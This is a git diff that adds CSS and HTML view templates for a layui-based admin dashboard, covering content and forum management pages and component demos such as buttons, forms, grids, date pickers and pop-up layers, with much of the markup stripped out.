.font-blod{font-weight:700;color:#758697}.layadmin-homepage-list-imgtxt .media-body .media-list{padding-top:15px;margin-top:15px;border-top:1px solid #e9e9e9}.layadmin-homepage-list-imgtxt .media-body .media-list .media-item{padding-bottom:15px;margin-top:15px}.layadmin-homepage-list-imgtxt .media-body .media-list .media-item-left{display:inline-block;padding-right:10px;margin-bottom:5px}.layadmin-homepage-list-imgtxt .media-body .media-list .media-item-left img{display:block;float:left}.layadmin-homepage-list-imgtxt .media-body .media-list .media-text{overflow:hidden;width:auto;display:inline-block}.layadmin-homepage-list-imgtxt .media-body .media-list .media-text a{margin-right:10px;font-weight:600;display:inline-block}.layadmin-homepage-list-imgtxt .media-body .media-list .media-text div:nth-child(2){margin-top:5px}.layadmin-homepage-list-imgtxt .media-body .media-list .layui-btn{height:24px;line-height:24px;font-size:12px;padding:0 20px;margin-bottom:10px}.homepage-top .layui-card-body img{width:100%}.homepage-top .layui-card-body .margin-top10{margin-top:10px}.homepage-top .layui-card-body .layui-btn{width:100%;display:block}.homepage-top{padding-bottom:20px}.layadmin-privateletterlist-item{position:relative;display:block;padding:10px 15px}.homepage-bottom .layui-card-body{padding:0}.homepage-bottom .layui-card-body img{width:32px;height:32px;border-radius:50%;margin-top:10px}.homepage-bottom .layui-card-body .meida-left{display:table-cell;padding-right:10px}.homepage-bottom .layui-card-body .meida-right{display:table-cell;vertical-align:top}.homepage-bottom .layui-card-body a:hover{background:#F2F2F2}.homepage-bottom .layui-card-body{background:#fff}.layui-card-header .panel-title .layui-icon{position:relative;left:0;right:0}.layadmin-cmdlist-fluid{padding-bottom:60px}.cmdlist-container{background:#fff;border:1px solid transparent}.cmdlist-container:hover{border:1px solid #e8e8e8}.cmdlist-container img{width:100%}.cmdlist-text{padding:20px}.cmdlist-text .info{height:40px;font-size:14px;line-height:20px;width:100%;overflow:hidden;color:#666;margin-bottom:10px}.cmdlist-text .price{font-size:14px}.cmdlist-text .price b{margin-right:20px}.cmdlist-text .price p{display:inline-block}.cmdlist-text .flow{text-align:right;float:right}#demo0{text-align:center}.layadmin-message-fluid .layui-col-md12{background:#fff;height:auto;padding-bottom:50px}.layadmin-message-fluid .layui-input-block{margin-left:0}.layadmin-message-fluid .layui-form{padding:45px 40px 0}.layadmin-message-fluid .layui-form-label{text-align:left;font-size:18px;padding-left:10px}.layadmin-message-fluid .layui-textarea{min-height:100px;font-size:16px}.layadmin-message-fluid .layui-input-right{float:right}.layadmin-messag-icon{overflow:hidden;float:left;margin-top:4px}.layadmin-messag-icon .layui-icon{font-size:24px;line-height:30px;margin-right:15px;color:#C4CBCF}.message-content{padding:0 40px}.message-content .media-body{margin-bottom:60px}.message-content .media-body .pad-btm{padding-bottom:0}.message-content .media-left{float:left;margin-right:10px}.message-content .media-left img{border-radius:50%}.message-text{padding-top:10px}.message-content-btn{text-align:center}.message-content .layui-btn{height:auto;line-height:26px;padding:5px 30px;font-size:16px}.layadmin-serach-main .layui-card-header{height:auto;line-height:24px;padding:15px}.layadmin-serach-list{margin-bottom:10px;padding:10px 0;border-bottom:1px solid #f6f6f6}.layadmin-serach-list h3{padding:10px 0}.layadmin-serach-list h3 .layui-badge{top:-2px}.layadmin-serach-list p{color:#666}.layadmin-serach-list li{margin-bottom:20px;padding-bottom:20px;clear:both}.layui-serachlist-cover{float:left;margin-right:15px}.layui-serachlist-cover img{width:90px;height:90px}.layadmin-caller{background:#fff;padding:30px}.layadmin-caller em{font-style:normal}.layadmin-caller .caller-fl{float:left}.layadmin-caller .caller-fr{float:right}.layadmin-caller .caller-seach{position:relative;padding-bottom:40px}.layadmin-caller .caller-seach .caller-icon{font-size:18px;position:absolute;top:9px}.layadmin-caller .caller-seach-icon{left:6px}.layadmin-caller .caller-dump-icon{right:6px;cursor:pointer}.layadmin-caller .caller-pl32{padding:0 32px}.layadmin-caller .caller-tab{margin:0}.layadmin-caller .caller-contar{padding-bottom:20px}.layadmin-caller .caller-contar .caller-item{padding:25px 0;overflow:hidden;border-bottom:1px solid #e0e0e0}.layadmin-caller .caller-contar .caller-item .caller-main{margin-left:20px}.layadmin-caller .caller-contar .caller-item .caller-main p{line-height:100%;padding:8px 0}.layadmin-caller .caller-contar .caller-item .caller-main p:first-child{padding-top:0}.layadmin-caller .caller-contar .caller-item .caller-main em{margin-left:5px}.layadmin-caller .caller-contar .caller-item .caller-main .caller-adds i{padding-right:5px;margin:0}.layadmin-caller .caller-contar .caller-item .caller-main .caller-adds{padding-bottom:12px}.layadmin-caller .caller-contar .caller-iconset i{margin:0 5px}.layadmin-caller .caller-contar .caller-iconset i:first-child{margin-left:0}.layadmin-caller .caller-contar button{margin-top:22px}.layadmin-caller .caller-contar .caller-img{width:40px;height:40px;border-radius:100%} \ No newline at end of file diff --git a/dist/views/app/content/comment.html b/dist/views/app/content/comment.html new file mode 100644 index 0000000..a59e4da --- /dev/null +++ b/dist/views/app/content/comment.html @@ -0,0 +1,106 @@ + + +评论管理 + + + +
+
+
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+
+
+
+
+ +
+
+ +
+
+
+ + + \ No newline at end of file diff --git a/dist/views/app/content/contform.html b/dist/views/app/content/contform.html new file mode 100644 index 0000000..c6625ae --- /dev/null +++ b/dist/views/app/content/contform.html @@ -0,0 +1,20 @@ + + +
+
+ +
+ +
+
+
+ +
+ +
+
+
\ No newline at end of file diff --git a/dist/views/app/content/list.html b/dist/views/app/content/list.html new file mode 100644 index 0000000..19485ca --- /dev/null +++ b/dist/views/app/content/list.html @@ -0,0 +1,151 @@ + + + 文章列表 + +
+ +
+ +
+
+
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+
+
+ +
+
+ + +
+
+ + +
+
+
+ + diff --git a/dist/views/app/content/listform.html b/dist/views/app/content/listform.html new file mode 100644 index 0000000..f1df79e --- /dev/null +++ b/dist/views/app/content/listform.html @@ -0,0 +1,59 @@ + +
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+ +
+ +
+ +
+
+
diff --git a/dist/views/app/content/tags.html b/dist/views/app/content/tags.html new file mode 100644 index 0000000..2c39e98 --- /dev/null +++ b/dist/views/app/content/tags.html @@ -0,0 +1,65 @@ + + +分类管理 + + + +
+
+
+ +
+
+
+ +
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/content/tagsform.html b/dist/views/app/content/tagsform.html new file mode 100644 index 0000000..71ea7ad --- /dev/null +++ b/dist/views/app/content/tagsform.html @@ -0,0 +1,18 @@ + + +
+
+ +
+ +
+
+
+ +
+ +
+
+
\ No newline at end of file diff --git a/dist/views/app/forum/list.html b/dist/views/app/forum/list.html new file mode 100644 index 0000000..05adf1c --- /dev/null +++ b/dist/views/app/forum/list.html @@ -0,0 +1,123 @@ + +帖子列表 + + + +
+
+
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+
+
+ +
+
+ +
+
+ + + +
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/forum/listform.html b/dist/views/app/forum/listform.html new file mode 100644 index 0000000..0e3fcad --- /dev/null +++ b/dist/views/app/forum/listform.html @@ -0,0 +1,57 @@ + + +
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+ +
+
+ +
+ +
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/forum/replys.html b/dist/views/app/forum/replys.html new file mode 100644 index 0000000..f5b69ba --- /dev/null +++ b/dist/views/app/forum/replys.html @@ -0,0 +1,99 @@ + + +回帖列表 + + + +
+
+
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+
+
+
+
+ +
+
+ + +
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/forum/replysform.html b/dist/views/app/forum/replysform.html new file mode 100644 index 0000000..7ab0954 --- /dev/null +++ b/dist/views/app/forum/replysform.html @@ -0,0 +1,35 @@ + + +
+
+ +
+ +
+
+
+ +
+ +
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/message/detail.html b/dist/views/app/message/detail.html new file mode 100644 index 0000000..6044c26 --- /dev/null +++ b/dist/views/app/message/detail.html @@ -0,0 +1,43 @@ + +消息详情 + + + +
+
+
+
+

{{ d.data.title }}

+

+ {{ layui.util.timeAgo(d.data.time) }} +

+
+
+
+ {{ d.data.content }} +
+ + +
+
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/message/index.html b/dist/views/app/message/index.html new file mode 100644 index 0000000..1e873ee --- /dev/null +++ b/dist/views/app/message/index.html @@ -0,0 +1,176 @@ + +消息中心 + +
+ +
+ +
+
+
+
    +
  • 全部消息
  • +
  • 通知6
  • +
  • 私信
  • +
+
+ +
+
+ + + +
+ +
+
+
+ +
+ + + +
+ +
+
+
+ +
+ + + +
+ +
+
+
+
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/workorder/list.html b/dist/views/app/workorder/list.html new file mode 100644 index 0000000..29b9beb --- /dev/null +++ b/dist/views/app/workorder/list.html @@ -0,0 +1,89 @@ + + +工单系统 + + + +
+
+
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+
+
+
+
+ + + +
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/workorder/listform.html b/dist/views/app/workorder/listform.html new file mode 100644 index 0000000..876d047 --- /dev/null +++ b/dist/views/app/workorder/listform.html @@ -0,0 +1,59 @@ + + +
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ + \ No newline at end of file diff --git a/dist/views/app/说明.txt b/dist/views/app/说明.txt new file mode 100644 index 0000000..295238d --- /dev/null +++ b/dist/views/app/说明.txt @@ -0,0 +1,2 @@ + +该目录存放【应用】的视图文件 \ No newline at end of file diff --git a/dist/views/component/anim/index.html b/dist/views/component/anim/index.html new file mode 100644 index 0000000..e85b557 --- /dev/null +++ b/dist/views/component/anim/index.html @@ -0,0 +1,108 @@ + +动画 + +
+
+ 主页 + 组件 + 动画 +
+
+ + + +
+
+
+
+
点击演示动画
+
+ +
    +
  • +
    从最底部往上滑入
    +
    layui-anim-up
    +
  • +
  • +
    微微往上滑入
    +
    layui-anim-upbit
    +
  • +
  • +
    平滑放大
    +
    layui-anim-scale
    +
  • +
  • +
    弹簧式放大
    +
    layui-anim-scaleSpring
    +
  • +
+
    +
  • +
    渐现
    +
    layui-anim-fadein
    +
  • +
  • +
    渐隐
    +
    layui-anim-fadeout
    +
  • +
  • +
    360度旋转
    +
    layui-anim-rotate
    +
  • +
  • +
    循环动画
    +
    追加:layui-anim-loop
    +
  • +
+ +
+
+
+
+
+ + \ No newline at end of file diff --git a/dist/views/component/auxiliar/index.html b/dist/views/component/auxiliar/index.html new file mode 100644 index 0000000..b2d087b --- /dev/null +++ b/dist/views/component/auxiliar/index.html @@ -0,0 +1,103 @@ + +辅助元素 + +
+
+ 主页 + 组件 + 辅助 +
+
+ + + +
+
+
+
+
引用区块
+
+
这个貌似不用多介绍,因为你已经在太多的地方都看到
+ +
+ 猿强,则国强。国强,则猿更强! +
——孟子(好囖。。其实这特喵的是我说的) +
+
+
+
+
字段集区块
+
+ +
+ 爱好 +
+ 你可以在这里放任何内容,比如表单神马的 +
+
+ +
+ +
+ 带标题的横线 +
+ +
+
+
+
分割线
+
+ + 默认分割线 +
+ + 赤色分割线 +
+ + 橙色分割线 +
+ + 墨绿分割线 +
+ + 青色分割线 +
+ + 蓝色分割线 +
+ + 黑色分割线 +
+ + 灰色分割线 +
+ +
+
+
+
纯圆角
+
+ +
+ +
+ +
+
+
+
+
+ + \ No newline at end of file diff --git a/dist/views/component/badge/index.html b/dist/views/component/badge/index.html new file mode 100644 index 0000000..6786c5c --- /dev/null +++ b/dist/views/component/badge/index.html @@ -0,0 +1,103 @@ + +徽章 + +
+
+ 主页 + 组件 + 徽章 +
+
+ + + +
+
+
+
+
小徽章大家族
+
+ +
小圆点: + + + + + + + + + +

常规弧形徽章: + + 6 + 99 + 61728 + + + 绿 + + + + + +

边框徽章: + + 6 + Hot + +

+ +
+
+
+
+
+
与其它元素的搭配
+
+ +
+ + + + +

+ +
    <-- 小Tips:这里有没有发现,设置导航靠右对齐(或居中对齐)其实非常简单 --> +
  • + 控制台9 +
  • +
  • + 个人中心 +
  • +
+
+ +
+
    +
  • 网站设置
  • +
  • 用户管理
  • +
  • 最新邮件99+
  • +
+
+
+ +
+
+
+
+
+ + \ No newline at end of file diff --git a/dist/views/component/button/index.html b/dist/views/component/button/index.html new file mode 100644 index 0000000..2a01e05 --- /dev/null +++ b/dist/views/component/button/index.html @@ -0,0 +1,178 @@ + +按钮 + +
+
+ 主页 + 组件 + 按钮 +
+
+ +
+
+
+
+
按钮主题
+
+
+ + + + + + +
+
+
+
+
按钮尺寸
+
+
+ + + + + +
+ + + + + + +
+ + + + + +
+
+
+
+
按钮图标
+
+
+ + + + + + + +
+ + + + + + + + +
+ + + + + + + + +
+ + + + + + + + +
+ + + + + + + +
+
+
+
+
+
+
按钮圆角
+
+
+ + + + + + +
+
+
+
+
按钮混搭
+
+
+ + 跳转的按钮 + + + +
+
+
+
+
按钮组合
+
+
+
+ + + +
+
+
+
+ + + + +
+
+ + + + +
+
+
+
+
+
按钮铺满
+
+
+ + + + +
+
+
+
+ +
+
+ + \ No newline at end of file diff --git a/dist/views/component/carousel/index.html b/dist/views/component/carousel/index.html new file mode 100644 index 0000000..17dd5f0 --- /dev/null +++ b/dist/views/component/carousel/index.html @@ -0,0 +1,219 @@ + + + 轮播 + + + +
+
+ 主页 + 组件 + 轮播 +
+
+ + + + \ No newline at end of file diff --git a/dist/views/component/code/index.html b/dist/views/component/code/index.html new file mode 100644 index 0000000..ae99107 --- /dev/null +++ b/dist/views/component/code/index.html @@ -0,0 +1,141 @@ + + + 代码修饰 + +
+ +
+ +
+
+
+
+
默认修饰
+
+
//在里面存放任意的代码
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+            
+
+
+ +
+
notepad风格
+
+
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+            
+
+
+ +
+
代码中的代码
+
+
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+      
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+      
+
+ +
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+      
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[];
+  var set = (events = modName + '.'+ events).replace(filter, ''); 
+};
+            
+
+
+
+
+
+
+ +
+
固定高度
+
+
//代码区域
+Lay.fn.event = function(modName, events, params){
+  var that = this, result = null, filter = events.match(/\(.*\)$/)||[]; //提取事件过滤器
+  var set = (events = modName + '.'+ events).replace(filter, ''); //获取事件本体名
+  var callback = function(_, item){
+    var res = item && item.call(that, params);
+    res === false && result === null && (result = false);
+  };
+  layui.each(config.event[set], callback);
+  filter[0] && layui.each(config.event[events], callback); //执行过滤器中的事件
+  return result;
+};
+            
+
+
+ +
+
XXX
+
+ +
+
+ +
+
XXX
+
+ +
+
+ +
+
XXX
+
+ +
+
+ +
+
+
+ + \ No newline at end of file diff --git a/dist/views/component/colorpicker/index.html b/dist/views/component/colorpicker/index.html new file mode 100644 index 0000000..7615bbe --- /dev/null +++ b/dist/views/component/colorpicker/index.html @@ -0,0 +1,190 @@ + + + 颜色选择器组件 + + + +
+
+
+
+
常规使用
+
+
+
+
+
+
+
表单赋值
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
RGB / RGBA 色值
+
+
+
+
+
+
+
透明度选择
+
+
+
+
+
+
+
+
预定义颜色项
+
+
+
+
+
+
+
全功能和回调的使用
+
+ +
+
+
+
+
颜色框尺寸
+
+
+
+
+
+
+
+
+
+ + \ No newline at end of file diff --git a/dist/views/component/flow/index.html b/dist/views/component/flow/index.html new file mode 100644 index 0000000..3133bf2 --- /dev/null +++ b/dist/views/component/flow/index.html @@ -0,0 +1,124 @@ + + + 流加载 + + + + +
+ +
+ +
+
+
+
+
信息流 - 滚动加载
+
+
    +
    +
    +
    + +
    +
    +
    信息流 - 手工加载
    +
    +
      +
      +
      +
      + +
      +
      +
      图片懒加载
      +
      +
      + + + + + + + + + + + + + + + +
      +
      +
      +
      + +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/form/element.html b/dist/views/component/form/element.html new file mode 100644 index 0000000..799dc10 --- /dev/null +++ b/dist/views/component/form/element.html @@ -0,0 +1,237 @@ + +表单元素 + + + + + +
      +
      +
      +
      +
      输入框
      +
      +
      + +
      +
      + +
      +
      + +
      +
      +
      +
      +
      下拉选择框
      +
      +
      + +
      +
      + +
      +
      + +
      +
      + +
      +
      + +
      +
      +
      +
      +
      复选框
      +
      +
      + + + +
      +
      + + + + +
      +
      +
      +
      +
      开关
      +
      +
      + + + + +
      +
      +
      +
      +
      单选框
      +
      +
      + + + +
      +
      +
      +
      +
      +
      +
      文本域
      +
      +
      + +
      +
      +
      +
      +
      响应式组合
      +
      +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      +
      + +
      + + + + +
      +
      +
      + +
      + +
      +
      +
      + +
      + + + + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      +
      + + +
      +
      +
      +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/form/group.html b/dist/views/component/form/group.html new file mode 100644 index 0000000..9654ab3 --- /dev/null +++ b/dist/views/component/form/group.html @@ -0,0 +1,291 @@ + +表单组合 + + + +
      +
      +
      表单组合
      +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      + +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      + +
      +
      +
      + +
      + +
      +
      请填写6到12位密码
      +
      + +
      +
      + +
      + +
      +
      -
      +
      + +
      +
      +
      + +
      + +
      + +
      +
      + + +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      + +
      +
      + +
      +
      + +
      +
      +
      此处只是演示联动排版,并未做联动交互
      +
      +
      +
      + +
      + +
      + + + +
      +
      + +
      + +
      + + + +
      +
      + +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + + + +
      +
      +
      + +
      + +
      +
      +
      +
      + +
      +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/grid/all.html b/dist/views/component/grid/all.html new file mode 100644 index 0000000..75964af --- /dev/null +++ b/dist/views/component/grid/all.html @@ -0,0 +1,80 @@ + +全端复杂组合 + + + + + +
      +
      +
      + +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/grid/list.html b/dist/views/component/grid/list.html new file mode 100644 index 0000000..febed64 --- /dev/null +++ b/dist/views/component/grid/list.html @@ -0,0 +1,122 @@ + +等比例列表排列 + + + + + +
      +
      +
      + +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/grid/mobile-pc.html b/dist/views/component/grid/mobile-pc.html new file mode 100644 index 0000000..cd7ced2 --- /dev/null +++ b/dist/views/component/grid/mobile-pc.html @@ -0,0 +1,80 @@ + +移动桌面组合 + + + + + +
      +
      +
      + +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/grid/mobile.html b/dist/views/component/grid/mobile.html new file mode 100644 index 0000000..3f77fe9 --- /dev/null +++ b/dist/views/component/grid/mobile.html @@ -0,0 +1,112 @@ + +按移动端排列 + + + + + +
      +
      +
      + +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/grid/speed-dial.html b/dist/views/component/grid/speed-dial.html new file mode 100644 index 0000000..34aec0b --- /dev/null +++ b/dist/views/component/grid/speed-dial.html @@ -0,0 +1,84 @@ + +九宫格 + +
      + +
      + + + +
      +
      +
      + +
      +
      1
      +
      +
      +
      +
      +
      2
      +
      +
      +
      +
      +
      3
      +
      +
      +
      +
      +
      4
      +
      +
      +
      +
      +
      5
      +
      +
      +
      +
      +
      6
      +
      +
      +
      +
      +
      7
      +
      +
      +
      +
      +
      8
      +
      +
      +
      +
      +
      9
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/grid/stack.html b/dist/views/component/grid/stack.html new file mode 100644 index 0000000..7b42ec8 --- /dev/null +++ b/dist/views/component/grid/stack.html @@ -0,0 +1,143 @@ + +低于桌面堆叠排列 + + + + + +
      +
      +
      + +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/laydate/demo1.html b/dist/views/component/laydate/demo1.html new file mode 100644 index 0000000..803e70d --- /dev/null +++ b/dist/views/component/laydate/demo1.html @@ -0,0 +1,324 @@ + + layDate 功能演示一 + +
      + +
      + +
      +
      +
      +
      +
      常规用法
      +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      +
      + +
      +
      +
      + +
      +
      +
      五大选择器
      +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      +
      + +
      +
      +
      + +
      +
      +
      范围选择
      +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      +
      + +
      +
      +
      + +
      +
      +
      自定义格式
      +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      +
      + +
      +
      +
      + +
      +
      +
      同时绑定多个
      +
      +
      +
      +
      + +
      +
      + +
      +
      + +
      +
      +
      +
      +
      +
      + + + +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/laydate/demo2.html b/dist/views/component/laydate/demo2.html new file mode 100644 index 0000000..3e6ef1e --- /dev/null +++ b/dist/views/component/laydate/demo2.html @@ -0,0 +1,276 @@ + + + layDate 功能演示二 + +
      + +
      + +
      +
      +
      +
      +
      公历节日和自定义重要日子
      +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      +
      + +
      +
      +
      + +
      +
      +
      控制可选的日期与时间
      +
      +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      + 这里以控制在9:30-17:30为例 +
      +
      +
      +
      +
      +
      +
      + +
      +
      +
      其它功能示例
      +
      +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      + +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      + +
      + +
      + +
      +
      +
      + +
      +
      +
      +
      +
      +
      +
      +
      +
      + +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/laydate/special-demo.html b/dist/views/component/laydate/special-demo.html new file mode 100644 index 0000000..4cfc67f --- /dev/null +++ b/dist/views/component/laydate/special-demo.html @@ -0,0 +1,74 @@ + + +layDate 日期组件功能演示 + +
      + +
      + +
      +
      +
      +
      +
      联动范围选择
      +
      +
      +
      +
      + +
      + +
      +
      + - +
      +
      + +
      +
      +
      +
      +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/laydate/theme.html b/dist/views/component/laydate/theme.html new file mode 100644 index 0000000..46701d8 --- /dev/null +++ b/dist/views/component/laydate/theme.html @@ -0,0 +1,173 @@ + + + layDate 日期组件功能演示 + + + +
      + +
      + +
      +
      +
      +
      +
      自定义按钮主题
      +
      +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      + +
      + +
      +
      +
      +
      +
      +
      +
      + +
      +
      +
      直接嵌套显示
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      +
      + + + +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/layer/list.html b/dist/views/component/layer/list.html new file mode 100644 index 0000000..b1e7fbb --- /dev/null +++ b/dist/views/component/layer/list.html @@ -0,0 +1,491 @@ + +layer 组件功能演示 + + + + + +
      +
      +
      +
      +
      弹层之美
      +
      + +
      + layer 是 layui 中最广为人知的组件,它可以轻松应对 Web 应用开发中的各类复杂的弹出交互。有人说使用 layer 是一种情怀,一旦用上了,就离不开了。有多少人是因为 layer 才选择 layui 的呢,有一种信仰,叫:无条件相信 +
      + +
      +
      + +
      +
      弹层类型
      +
      + +
      + + + + + + + + + +
      + +
      +
      +
      +
      常规使用
      +
      + +
      + + + + + + + + + + + + + + + + +
      + +
      +
      +
      +
      +
      +
      信息框
      +
      + +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
      页面层与iframe层
      +
      + +
      + + + +
      + +
      +
      +
      +
      +
      +
      加载层
      +
      + +
      + + + + +
      + +
      +
      +
      +
      +
      +
      tips层
      +
      + +
      + + + + + +
      + +
      +
      +
      +
      +
      +
      其它示例
      +
      + +
      + + +
      + +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/layer/special-demo.html b/dist/views/component/layer/special-demo.html new file mode 100644 index 0000000..7dcfe21 --- /dev/null +++ b/dist/views/component/layer/special-demo.html @@ -0,0 +1,147 @@ + +layer 组件特殊示例 + + + + + +
      +
      +
      +
      +
      场景
      +
      + +
      + + + +
      + +
      +
      +
      +
      +
      +
      坐标
      +
      + +
      + + + + + + + + + +
      + +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/layer/theme.html b/dist/views/component/layer/theme.html new file mode 100644 index 0000000..4f09ccd --- /dev/null +++ b/dist/views/component/layer/theme.html @@ -0,0 +1,82 @@ + +layer 组件风格定制 + + + + + +
      +
      +
      +
      +
      风格定制
      +
      + +
      + + +
      + +
      +
      +
      +
      +
      +
      + + 持续增加中 + +
      +
      +
      +
      +
      + + \ No newline at end of file diff --git a/dist/views/component/laypage/demo1.html b/dist/views/component/laypage/demo1.html new file mode 100644 index 0000000..d499f4a --- /dev/null +++ b/dist/views/component/laypage/demo1.html @@ -0,0 +1,158 @@ + + + 功能演示1 - 通用分页组件 + + + +
      +
      +
      +
      +
      总页数低于页码总数
      +
      +
      +
      +
      +
      + +
      +
      +
      总页数大于页码总数
      +
      +
      +
      +
      +
      + +
      +
      +
      自定义主题 - 颜色随意定义
      +
      +
      +
      +
      +
      +
      +
      + +
      +
      +
